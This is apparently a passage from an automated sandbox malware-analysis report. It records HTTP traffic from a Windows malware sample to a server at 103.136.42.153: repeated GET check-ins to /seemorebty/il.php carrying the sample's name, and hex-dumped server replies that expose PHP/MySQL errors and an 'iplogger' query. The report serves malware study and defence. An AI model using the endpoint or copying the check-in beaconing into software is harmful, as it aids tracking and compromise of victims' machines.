6e 61 6d 65 3d 27 73 65 63 75 72 69 74 65 69 6e 66 6f 2e 63 6f 6d 2e 77 69 6e 33 32 2e 6d 61 6c 77 61 72 65 2d 67 65 6e 2e 33 30 36 37 34 27 20 6c 69 6d 69 74 20 30 2c 31 3c 62 72 3e 3c 62 72 3e 3c 73 6d 61 6c 6c 3e 3c 66 6f 6e 74 20 63 6f 6c 6f 72 3d 22 23 66 66 30 30 30 30 22 3e 5b 54 45 50 20 53 54 4f 50 5d 3c 2f 66 6f 6e 74 3e 3c 2f 73 6d 61 6c 6c 3e 3c 62 72 3e 3c 62 72 3e 3c 2f 62 3e 3c 2f 66 6f 6e 74 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 388<br /><b>Deprecated</b>: mysql_pconnect(): The mysql extension is deprecated and will be removed in the future: use mysqli or PDO instead in <b>/www/wwwroot/103.136.42.153/seemorebty/includes/database.php</b> on line <b>47</b><br /><br /><b>Warning</b>: mysql_pconnect(): Access denied for user 'dbnew01'@'localhost' (using password: YES) in <b>/www/wwwroot/103.136.42.153/seemorebty/includes/database.php</b> on line <b>47</b><br /><br /><b>Warning</b>: mysql_query() expects parameter 2 to be resource, boolean given in <b>/www/wwwroot/103.136.42.153/seemorebty/includes/database.php</b> on line <b>73</b><br /><font color="#000000"><b>1045 - Access denied for user 'dbnew01'@'localhost' (using password: YES)<br><br>select iplogger from t_channels where name='securiteinfo.com.win32.malware-gen.30674' limit 0,1<br><br><small><font color="#ff0000">[TEP STOP]</font></small><br><br></b></font>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
12	192.168.2.7	49749	103.136.42.153	80	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe

Timestamp	kBytes transferred	Direction	Data
Sep 9, 2022 18:01:19.312462091 CEST	10999	OUT	GET /seemorebty/il.php?e=securiteinfo.com.win32.malware-gen.30674 HTTP/1.1 Connection: Keep-Alive Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image webp,image apng, q=0.8,application signed-exchange v=b3 Accept-Language: en-US,en;q=0.9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit 537.36 (KHTML, like Gecko) Chrome 70.0.3538.110 Safari 537.36 Host: 103.136.42.153
Sep 9, 2022 18:01:19.343158960 CEST	11000	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 09 Sep 2022 16:01:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 33 38 38 0d 0a 3c 62 72 20 2f 3e 0a 3c 62 3e 44 65 70 72 65 63 61 74 65 64 3c 2f 62 3e 3a 20 20 6d 79 73 71 6c 5f 70 63 6f 6e 6e 65 63 74 28 29 3a 20 54 68 65 20 6d 79 73 71 6c 20 65 78 74 65 6e 73 69 6f 6e 20 69 73 20 64 65 70 72 65 63 61 74 65 64 20 61 6e 64 20 77 69 6c 6c 20 62 65 20 72 65 6d 6f 76 65 64 20 69 6e 20 74 68 65 20 66 75 74 75 72 65 3a 20 75 73 65 20 6d 79 73 71 6c 69 20 6f 72 20 50 44 4f 20 69 6e 73 74 65 61 64 20 69 6e 20 3c 62 3e 2f 77 77 77 2f 77 77 77 72 6f 6f 74 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 2f 73 65 65 6d 6f 72 65 62 74 79 2f 69 6e 63 6c 75 64 65 73 2f 64 61 74 61 62 61 73 65 2e 70 68 70 3c 2f 62 3e 20 6f 6e 20 6c 69 6e 65 20 3c 62 3e 34 37 3c 2f 62 3e 3c 62 72 20 2f 3e 0a 3c 62 72 20 2f 3e 0a 3c 62 3e 57 61 72 6e 69 6e 67 3c 2f 62 3e 3a 20 20 6d 79 73 71 6c 5f 70 63 6f 6e 6e 65 63 74 28 29 3a 20 41 63 63 65 73 73 20 64 65 6e 69 65 64 20 66 6f 72 20 75 73 65 72 20 27 64 62 6e 65 77 30 31 27 40 27 6c 6f 63 61 6c 68 6f 73 74 27 20 28 75 73 69 6e 67 20 70 61 73 73 77 6f 72 64 3a 20 59 45 53 29 20 69 6e 20 3c 62 3e 2f 77 77 77 2f 77 77 77 72 6f 6f 74 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 2f 73 65 65 6d 6f 72 65 62 74 79 2f 69 6e 63 6c 75 64 65 73 2f 64 61 74 61 62 61 73 65 2e 70 68 70 3c 2f 62 3e 20 6f 6e 20 6c 69 6e 65 20 3c 62 3e 34 37 3c 2f 62 3e 3c 62 72 20 2f 3e 0a 3c 62 72 20 2f 3e 0a 3c 62 3e 57 61 72 6e 69 6e 67 3c 2f 62 3e 3a 20 20 6d 79 73 71 6c 5f 71 75 65 72 79 28 29 20 65 78 70 65 63 74 73 20 70 61 72 61 6d 65 74 65 72 20 32 20 74 6f 20 62 65 20 72 65 73 6f 75 72 63 65 2c 20 62 6f 6f 6c 65 61 6e 20 67 69 76 65 6e 20 69 6e 20 3c 62 3e 2f 77 77 77 2f 77 77 77 72 6f 6f 74 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 2f 73 65 65 6d 6f 72 65 62 74 79 2f 69 6e 63 6c 75 64 65 73 2f 64 61 74 61 62 61 73 65 2e 70 68 70 3c 2f 62 3e 20 6f 6e 20 6c 69 6e 65 20 3c 62 3e 37 33 3c 2f 62 3e 3c 62 72 20 2f 3e 0a 3c 66 6f 6e 74 20 63 6f 6c 6f 72 3d 22 23 30 30 30 30 30 30 22 3e 3c 62 3e 31 30 34 35 20 2d 20 41 63 63 65 73 73 20 64 65 6e 69 65 64 20 66 6f 72 20 75 73 65 72 20 27 64 62 6e 65 77 30 31 27 40 27 6c 6f 63 61 6c 68 6f 73 74 27 20 28 75 73 69 6e 67 20 70 61 73 73 77 6f 72 64 3a 20 59 45 53 29 3c 62 72 3e 3c 62 72 3e 73 65 6c 65 63 74 20 69 70 6c 6f 67 67 65 72 20 66 72 6f 6d 20 74 5f 63 68 61 6e 6e 65 6c 73 20 77 68 65 72 65 20 6e 61 6d 65 3d 27 73 65 63 75 72 69 74 65 69 6e 66 6f 2e 63 6f 6d 2e 77 69 6e 33 32 2e 6d 61 6c 77 61 72 65 2d 67 65 6e 2e 33 30 36 37 34 27 20 6c 69 6d 69 74 20 30 2c 31 3c 62 72 3e 3c 62 72 3e 3c 73 6d 61 6c 6c 3e 3c 66 6f 6e 74 20 63 6f 6c 6f 72 3d 22 23 66 66 30 30 30 30 22 3e 5b 54 45 50 20 53 54 4f 50 5d 3c 2f 66 6f 6e 74 3e 3c 2f 73 6d 61 6c 6c 3e 3c 62 72 3e 3c 62 72 3e 3c 2f 62 3e 3c 2f 66 6f 6e 74 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 388<br /><b>Deprecated</b>: mysql_pconnect(): The mysql extension is deprecated and will be removed in the future: use mysqli or PDO instead in <b>/www/wwwroot/103.136.42.153/seemorebty/includes/database.php</b> on line <b>47</b><br /><br /><b>Warning</b>: mysql_pconnect(): Access denied for user 'dbnew01'@'localhost' (using password: YES) in <b>/www/wwwroot/103.136.42.153/seemorebty/includes/database.php</b> on line <b>47</b><br /><br /><b>Warning</b>: mysql_query() expects parameter 2 to be resource, boolean given in <b>/www/wwwroot/103.136.42.153/seemorebty/includes/database.php</b> on line <b>73</b><br /><font color="#000000"><b>1045 - Access denied for user 'dbnew01'@'localhost' (using password: YES)<br><br>select iplogger from t_channels where name='securiteinfo.com.win32.malware-gen.30674' limit 0,1<br><br><small><font color="#ff0000">[TEP STOP]</font></small><br><br></b></font>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
13	192.168.2.7	49751	103.136.42.153	80	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe

Timestamp	kBytes transferred	Direction	Data
Sep 9, 2022 18:01:26.622735977 CEST	11015	OUT	GET /seemorebty/il.php?e=SecuriteInfo.com.Win32.Malware-gen.30674 HTTP/1.1 Connection: Keep-Alive Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image webp,image apng, q=0.8,application signed-exchange v=b3 Accept-Language: en-US,en;q=0.9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit 537.36 (KHTML, like Gecko) Chrome 70.0.3538.110 Safari 537.36 Host: 103.136.42.153
Sep 9, 2022 18:01:26.655483007 CEST	11016	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 09 Sep 2022 16:01:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 33 38 38 0d 0a 3c 62 72 20 2f 3e 0a 3c 62 3e 44 65 70 72 65 63 61 74 65 64 3c 2f 62 3e 3a 20 20 6d 79 73 71 6c 5f 70 63 6f 6e 6e 65 63 74 28 29 3a 20 54 68 65 20 6d 79 73 71 6c 20 65 78 74 65 6e 73 69 6f 6e 20 69 73 20 64 65 70 72 65 63 61 74 65 64 20 61 6e 64 20 77 69 6c 6c 20 62 65 20 72 65 6d 6f 76 65 64 20 69 6e 20 74 68 65 20 66 75 74 75 72 65 3a 20 75 73 65 20 6d 79 73 71 6c 69 20 6f 72 20 50 44 4f 20 69 6e 73 74 65 61 64 20 69 6e 20 3c 62 3e 2f 77 77 77 2f 77 77 77 72 6f 6f 74 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 2f 73 65 65 6d 6f 72 65 62 74 79 2f 69 6e 63 6c 75 64 65 73 2f 64 61 74 61 62 61 73 65 2e 70 68 70 3c 2f 62 3e 20 6f 6e 20 6c 69 6e 65 20 3c 62 3e 34 37 3c 2f 62 3e 3c 62 72 20 2f 3e 0a 3c 62 72 20 2f 3e 0a 3c 62 3e 57 61 72 6e 69 6e 67 3c 2f 62 3e 3a 20 20 6d 79 73 71 6c 5f 70 63 6f 6e 6e 65 63 74 28 29 3a 20 41 63 63 65 73 73 20 64 65 6e 69 65 64 20 66 6f 72 20 75 73 65 72 20 27 64 62 6e 65 77 30 31 27 40 27 6c 6f 63 61 6c 68 6f 73 74 27 20 28 75 73 69 6e 67 20 70 61 73 73 77 6f 72 64 3a 20 59 45 53 29 20 69 6e 20 3c 62 3e 2f 77 77 77 2f 77 77 77 72 6f 6f 74 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 2f 73 65 65 6d 6f 72 65 62 74 79 2f 69 6e 63 6c 75 64 65 73 2f 64 61 74 61 62 61 73 65 2e 70 68 70 3c 2f 62 3e 20 6f 6e 20 6c 69 6e 65 20 3c 62 3e 34 37 3c 2f 62 3e 3c 62 72 20 2f 3e 0a 3c 62 72 20 2f 3e 0a 3c 62 3e 57 61 72 6e 69 6e 67 3c 2f 62 3e 3a 20 20 6d 79 73 71 6c 5f 71 75 65 72 79 28 29 20 65 78 70 65 63 74 73 20 70 61 72 61 6d 65 74 65 72 20 32 20 74 6f 20 62 65 20 72 65 73 6f 75 72 63 65 2c 20 62 6f 6f 6c 65 61 6e 20 67 69 76 65 6e 20 69 6e 20 3c 62 3e 2f 77 77 77 2f 77 77 77 72 6f 6f 74 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 2f 73 65 65 6d 6f 72 65 62 74 79 2f 69 6e 63 6c 75 64 65 73 2f 64 61 74 61 62 61 73 65 2e 70 68 70 3c 2f 62 3e 20 6f 6e 20 6c 69 6e 65 20 3c 62 3e 37 33 3c 2f 62 3e 3c 62 72 20 2f 3e 0a 3c 66 6f 6e 74 20 63 6f 6c 6f 72 3d 22 23 30 30 30 30 30 30 22 3e 3c 62 3e 31 30 34 35 20 2d 20 41 63 63 65 73 73 20 64 65 6e 69 65 64 20 66 6f 72 20 75 73 65 72 20 27 64 62 6e 65 77 30 31 27 40 27 6c 6f 63 61 6c 68 6f 73 74 27 20 28 75 73 69 6e 67 20 70 61 73 73 77 6f 72 64 3a 20 59 45 53 29 3c 62 72 3e 3c 62 72 3e 73 65 6c 65 63 74 20 69 70 6c 6f 67 67 65 72 20 66 72 6f 6d 20 74 5f 63 68 61 6e 6e 65 6c 73 20 77 68 65 72 65 20 6e 61 6d 65 3d 27 53 65 63 75 72 69 74 65 49 6e 66 6f 2e 63 6f 6d 2e 57 69 6e 33 32 2e 4d 61 6c 77 61 72 65 2d 67 65 6e 2e 33 30 36 37 34 27 20 6c 69 6d 69 74 20 30 2c 31 3c 62 72 3e 3c 62 72 3e 3c 73 6d 61 6c 6c 3e 3c 66 6f 6e 74 20 63 6f 6c 6f 72 3d 22 23 66 66 30 30 30 30 22 3e 5b 54 45 50 20 53 54 4f 50 5d 3c 2f 66 6f 6e 74 3e 3c 2f 73 6d 61 6c 6c 3e 3c 62 72 3e 3c 62 72 3e 3c 2f 62 3e 3c 2f 66 6f 6e 74 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 388<br /><b>Deprecated</b>: mysql_pconnect(): The mysql extension is deprecated and will be removed in the future: use mysqli or PDO instead in <b>/www/wwwroot/103.136.42.153/seemorebty/includes/database.php</b> on line <b>47</b><br /><br /><b>Warning</b>: mysql_pconnect(): Access denied for user 'dbnew01'@'localhost' (using password: YES) in <b>/www/wwwroot/103.136.42.153/seemorebty/includes/database.php</b> on line <b>47</b><br /><br /><b>Warning</b>: mysql_query() expects parameter 2 to be resource, boolean given in <b>/www/wwwroot/103.136.42.153/seemorebty/includes/database.php</b> on line <b>73</b><br /><font color="#000000"><b>1045 - Access denied for user 'dbnew01'@'localhost' (using password: YES)<br><br>select iplogger from t_channels where name='SecuriteInfo.com.Win32.Malware-gen.30674' limit 0,1<br><br><small><font color="#ff0000">[TEP STOP]</font></small><br><br></b></font>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
14	192.168.2.7	49776	103.136.42.153	80	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe

Timestamp	kBytes transferred	Direction	Data
Sep 9, 2022 18:01:50.371438026 CEST	11440	OUT	GET /seemorebty/il.php?e=securiteinfo.com.win32.malware-gen.30674 HTTP/1.1 Connection: Keep-Alive Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image webp,image apng, q=0.8,application signed-exchange v=b3 Accept-Language: en-US,en;q=0.9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit 537.36 (KHTML, like Gecko) Chrome 70.0.3538.110 Safari 537.36 Host: 103.136.42.153
Sep 9, 2022 18:01:50.402303934 CEST	11441	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 09 Sep 2022 16:01:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 33 38 38 0d 0a 3c 62 72 20 2f 3e 0a 3c 62 3e 44 65 70 72 65 63 61 74 65 64 3c 2f 62 3e 3a 20 20 6d 79 73 71 6c 5f 70 63 6f 6e 6e 65 63 74 28 29 3a 20 54 68 65 20 6d 79 73 71 6c 20 65 78 74 65 6e 73 69 6f 6e 20 69 73 20 64 65 70 72 65 63 61 74 65 64 20 61 6e 64 20 77 69 6c 6c 20 62 65 20 72 65 6d 6f 76 65 64 20 69 6e 20 74 68 65 20 66 75 74 75 72 65 3a 20 75 73 65 20 6d 79 73 71 6c 69 20 6f 72 20 50 44 4f 20 69 6e 73 74 65 61 64 20 69 6e 20 3c 62 3e 2f 77 77 77 2f 77 77 77 72 6f 6f 74 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 2f 73 65 65 6d 6f 72 65 62 74 79 2f 69 6e 63 6c 75 64 65 73 2f 64 61 74 61 62 61 73 65 2e 70 68 70 3c 2f 62 3e 20 6f 6e 20 6c 69 6e 65 20 3c 62 3e 34 37 3c 2f 62 3e 3c 62 72 20 2f 3e 0a 3c 62 72 20 2f 3e 0a 3c 62 3e 57 61 72 6e 69 6e 67 3c 2f 62 3e 3a 20 20 6d 79 73 71 6c 5f 70 63 6f 6e 6e 65 63 74 28 29 3a 20 41 63 63 65 73 73 20 64 65 6e 69 65 64 20 66 6f 72 20 75 73 65 72 20 27 64 62 6e 65 77 30 31 27 40 27 6c 6f 63 61 6c 68 6f 73 74 27 20 28 75 73 69 6e 67 20 70 61 73 73 77 6f 72 64 3a 20 59 45 53 29 20 69 6e 20 3c 62 3e 2f 77 77 77 2f 77 77 77 72 6f 6f 74 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 2f 73 65 65 6d 6f 72 65 62 74 79 2f 69 6e 63 6c 75 64 65 73 2f 64 61 74 61 62 61 73 65 2e 70 68 70 3c 2f 62 3e 20 6f 6e 20 6c 69 6e 65 20 3c 62 3e 34 37 3c 2f 62 3e 3c 62 72 20 2f 3e 0a 3c 62 72 20 2f 3e 0a 3c 62 3e 57 61 72 6e 69 6e 67 3c 2f 62 3e 3a 20 20 6d 79 73 71 6c 5f 71 75 65 72 79 28 29 20 65 78 70 65 63 74 73 20 70 61 72 61 6d 65 74 65 72 20 32 20 74 6f 20 62 65 20 72 65 73 6f 75 72 63 65 2c 20 62 6f 6f 6c 65 61 6e 20 67 69 76 65 6e 20 69 6e 20 3c 62 3e 2f 77 77 77 2f 77 77 77 72 6f 6f 74 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 2f 73 65 65 6d 6f 72 65 62 74 79 2f 69 6e 63 6c 75 64 65 73 2f 64 61 74 61 62 61 73 65 2e 70 68 70 3c 2f 62 3e 20 6f 6e 20 6c 69 6e 65 20 3c 62 3e 37 33 3c 2f 62 3e 3c 62 72 20 2f 3e 0a 3c 66 6f 6e 74 20 63 6f 6c 6f 72 3d 22 23 30 30 30 30 30 30 22 3e 3c 62 3e 31 30 34 35 20 2d 20 41 63 63 65 73 73 20 64 65 6e 69 65 64 20 66 6f 72 20 75 73 65 72 20 27 64 62 6e 65 77 30 31 27 40 27 6c 6f 63 61 6c 68 6f 73 74 27 20 28 75 73 69 6e 67 20 70 61 73 73 77 6f 72 64 3a 20 59 45 53 29 3c 62 72 3e 3c 62 72 3e 73 65 6c 65 63 74 20 69 70 6c 6f 67 67 65 72 20 66 72 6f 6d 20 74 5f 63 68 61 6e 6e 65 6c 73 20 77 68 65 72 65 20 6e 61 6d 65 3d 27 73 65 63 75 72 69 74 65 69 6e 66 6f 2e 63 6f 6d 2e 77 69 6e 33 32 2e 6d 61 6c 77 61 72 65 2d 67 65 6e 2e 33 30 36 37 34 27 20 6c 69 6d 69 74 20 30 2c 31 3c 62 72 3e 3c 62 72 3e 3c 73 6d 61 6c 6c 3e 3c 66 6f 6e 74 20 63 6f 6c 6f 72 3d 22 23 66 66 30 30 30 30 22 3e 5b 54 45 50 20 53 54 4f 50 5d 3c 2f 66 6f 6e 74 3e 3c 2f 73 6d 61 6c 6c 3e 3c 62 72 3e 3c 62 72 3e 3c 2f 62 3e 3c 2f 66 6f 6e 74 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 388<br /><b>Deprecated</b>: mysql_pconnect(): The mysql extension is deprecated and will be removed in the future: use mysqli or PDO instead in <b>/www/wwwroot/103.136.42.153/seemorebty/includes/database.php</b> on line <b>47</b><br /><br /><b>Warning</b>: mysql_pconnect(): Access denied for user 'dbnew01'@'localhost' (using password: YES) in <b>/www/wwwroot/103.136.42.153/seemorebty/includes/database.php</b> on line <b>47</b><br /><br /><b>Warning</b>: mysql_query() expects parameter 2 to be resource, boolean given in <b>/www/wwwroot/103.136.42.153/seemorebty/includes/database.php</b> on line <b>73</b><br /><font color="#000000"><b>1045 - Access denied for user 'dbnew01'@'localhost' (using password: YES)<br><br>select iplogger from t_channels where name='securiteinfo.com.win32.malware-gen.30674' limit 0,1<br><br><small><font color="#ff0000">[TEP STOP]</font></small><br><br></b></font>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
15	192.168.2.7	49779	103.136.42.153	80	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe

Timestamp	kBytes transferred	Direction	Data
Sep 9, 2022 18:01:59.801130056 CEST	11598	OUT	GET /seemorebty/il.php?e=SecuriteInfo.com.Win32.Malware-gen.30674 HTTP/1.1 Connection: Keep-Alive Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image webp,image apng, q=0.8,application signed-exchange v=b3 Accept-Language: en-US,en;q=0.9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit 537.36 (KHTML, like Gecko) Chrome 70.0.3538.110 Safari 537.36 Host: 103.136.42.153
Sep 9, 2022 18:01:59.832765102 CEST	11599	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 09 Sep 2022 16:01:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 33 38 38 0d 0a 3c 62 72 20 2f 3e 0a 3c 62 3e 44 65 70 72 65 63 61 74 65 64 3c 2f 62 3e 3a 20 20 6d 79 73 71 6c 5f 70 63 6f 6e 6e 65 63 74 28 29 3a 20 54 68 65 20 6d 79 73 71 6c 20 65 78 74 65 6e 73 69 6f 6e 20 69 73 20 64 65 70 72 65 63 61 74 65 64 20 61 6e 64 20 77 69 6c 6c 20 62 65 20 72 65 6d 6f 76 65 64 20 69 6e 20 74 68 65 20 66 75 74 75 72 65 3a 20 75 73 65 20 6d 79 73 71 6c 69 20 6f 72 20 50 44 4f 20 69 6e 73 74 65 61 64 20 69 6e 20 3c 62 3e 2f 77 77 77 2f 77 77 77 72 6f 6f 74 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 2f 73 65 65 6d 6f 72 65 62 74 79 2f 69 6e 63 6c 75 64 65 73 2f 64 61 74 61 62 61 73 65 2e 70 68 70 3c 2f 62 3e 20 6f 6e 20 6c 69 6e 65 20 3c 62 3e 34 37 3c 2f 62 3e 3c 62 72 20 2f 3e 0a 3c 62 72 20 2f 3e 0a 3c 62 3e 57 61 72 6e 69 6e 67 3c 2f 62 3e 3a 20 20 6d 79 73 71 6c 5f 70 63 6f 6e 6e 65 63 74 28 29 3a 20 41 63 63 65 73 73 20 64 65 6e 69 65 64 20 66 6f 72 20 75 73 65 72 20 27 64 62 6e 65 77 30 31 27 40 27 6c 6f 63 61 6c 68 6f 73 74 27 20 28 75 73 69 6e 67 20 70 61 73 73 77 6f 72 64 3a 20 59 45 53 29 20 69 6e 20 3c 62 3e 2f 77 77 77 2f 77 77 77 72 6f 6f 74 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 2f 73 65 65 6d 6f 72 65 62 74 79 2f 69 6e 63 6c 75 64 65 73 2f 64 61 74 61 62 61 73 65 2e 70 68 70 3c 2f 62 3e 20 6f 6e 20 6c 69 6e 65 20 3c 62 3e 34 37 3c 2f 62 3e 3c 62 72 20 2f 3e 0a 3c 62 72 20 2f 3e 0a 3c 62 3e 57 61 72 6e 69 6e 67 3c 2f 62 3e 3a 20 20 6d 79 73 71 6c 5f 71 75 65 72 79 28 29 20 65 78 70 65 63 74 73 20 70 61 72 61 6d 65 74 65 72 20 32 20 74 6f 20 62 65 20 72 65 73 6f 75 72 63 65 2c 20 62 6f 6f 6c 65 61 6e 20 67 69 76 65 6e 20 69 6e 20 3c 62 3e 2f 77 77 77 2f 77 77 77 72 6f 6f 74 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 2f 73 65 65 6d 6f 72 65 62 74 79 2f 69 6e 63 6c 75 64 65 73 2f 64 61 74 61 62 61 73 65 2e 70 68 70 3c 2f 62 3e 20 6f 6e 20 6c 69 6e 65 20 3c 62 3e 37 33 3c 2f 62 3e 3c 62 72 20 2f 3e 0a 3c 66 6f 6e 74 20 63 6f 6c 6f 72 3d 22 23 30 30 30 30 30 30 22 3e 3c 62 3e 31 30 34 35 20 2d 20 41 63 63 65 73 73 20 64 65 6e 69 65 64 20 66 6f 72 20 75 73 65 72 20 27 64 62 6e 65 77 30 31 27 40 27 6c 6f 63 61 6c 68 6f 73 74 27 20 28 75 73 69 6e 67 20 70 61 73 73 77 6f 72 64 3a 20 59 45 53 29 3c 62 72 3e 3c 62 72 3e 73 65 6c 65 63 74 20 69 70 6c 6f 67 67 65 72 20 66 72 6f 6d 20 74 5f 63 68 61 6e 6e 65 6c 73 20 77 68 65 72 65 20 6e 61 6d 65 3d 27 53 65 63 75 72 69 74 65 49 6e 66 6f 2e 63 6f 6d 2e 57 69 6e 33 32 2e 4d 61 6c 77 61 72 65 2d 67 65 6e 2e 33 30 36 37 34 27 20 6c 69 6d 69 74 20 30 2c 31 3c 62 72 3e 3c 62 72 3e 3c 73 6d 61 6c 6c 3e 3c 66 6f 6e 74 20 63 6f 6c 6f 72 3d 22 23 66 66 30 30 30 30 22 3e 5b 54 45 50 20 53 54 4f 50 5d 3c 2f 66 6f 6e 74 3e 3c 2f 73 6d 61 6c 6c 3e 3c 62 72 3e 3c 62 72 3e 3c 2f 62 3e 3c 2f 66 6f 6e 74 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 388<br /><b>Deprecated</b>: mysql_pconnect(): The mysql extension is deprecated and will be removed in the future: use mysqli or PDO instead in <b>/www/wwwroot/103.136.42.153/seemorebty/includes/database.php</b> on line <b>47</b><br /><br /><b>Warning</b>: mysql_pconnect(): Access denied for user 'dbnew01'@'localhost' (using password: YES) in <b>/www/wwwroot/103.136.42.153/seemorebty/includes/database.php</b> on line <b>47</b><br /><br /><b>Warning</b>: mysql_query() expects parameter 2 to be resource, boolean given in <b>/www/wwwroot/103.136.42.153/seemorebty/includes/database.php</b> on line <b>73</b><br /><font color="#000000"><b>1045 - Access denied for user 'dbnew01'@'localhost' (using password: YES)<br><br>select iplogger from t_channels where name='SecuriteInfo.com.Win32.Malware-gen.30674' limit 0,1<br><br><small><font color="#ff0000">[TEP STOP]</font></small><br><br></b></font>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.7	49734	31.13.92.36	443	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.7	49747	185.60.216.35	443	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.7	49750	185.60.216.35	443	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.7	49752	157.240.20.35	443	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.7	49777	157.240.17.35	443	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.7	49780	157.240.20.35	443	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.7	49722	103.136.42.153	80	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe

Timestamp	kBytes transferred	Direction	Data
Sep 9, 2022 18:00:12.153244019 CEST	591	OUT	GET /seemorebty/il.php?e=SecuriteInfo.com.Win32.Malware-gen.30674 HTTP/1.1 Connection: Keep-Alive Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image webp,image apng, q=0.8,application signed-exchange v=b3 Accept-Language: en-US,en;q=0.9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit 537.36 (KHTML, like Gecko) Chrome 70.0.3538.110 Safari 537.36 Host: 103.136.42.153
Sep 9, 2022 18:00:12.182327986 CEST	592	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 09 Sep 2022 16:00:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 33 38 38 0d 0a 3c 62 72 20 2f 3e 0a 3c 62 3e 44 65 70 72 65 63 61 74 65 64 3c 2f 62 3e 3a 20 20 6d 79 73 71 6c 5f 70 63 6f 6e 6e 65 63 74 28 29 3a 20 54 68 65 20 6d 79 73 71 6c 20 65 78 74 65 6e 73 69 6f 6e 20 69 73 20 64 65 70 72 65 63 61 74 65 64 20 61 6e 64 20 77 69 6c 6c 20 62 65 20 72 65 6d 6f 76 65 64 20 69 6e 20 74 68 65 20 66 75 74 75 72 65 3a 20 75 73 65 20 6d 79 73 71 6c 69 20 6f 72 20 50 44 4f 20 69 6e 73 74 65 61 64 20 69 6e 20 3c 62 3e 2f 77 77 77 2f 77 77 77 72 6f 6f 74 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 2f 73 65 65 6d 6f 72 65 62 74 79 2f 69 6e 63 6c 75 64 65 73 2f 64 61 74 61 62 61 73 65 2e 70 68 70 3c 2f 62 3e 20 6f 6e 20 6c 69 6e 65 20 3c 62 3e 34 37 3c 2f 62 3e 3c 62 72 20 2f 3e 0a 3c 62 72 20 2f 3e 0a 3c 62 3e 57 61 72 6e 69 6e 67 3c 2f 62 3e 3a 20 20 6d 79 73 71 6c 5f 70 63 6f 6e 6e 65 63 74 28 29 3a 20 41 63 63 65 73 73 20 64 65 6e 69 65 64 20 66 6f 72 20 75 73 65 72 20 27 64 62 6e 65 77 30 31 27 40 27 6c 6f 63 61 6c 68 6f 73 74 27 20 28 75 73 69 6e 67 20 70 61 73 73 77 6f 72 64 3a 20 59 45 53 29 20 69 6e 20 3c 62 3e 2f 77 77 77 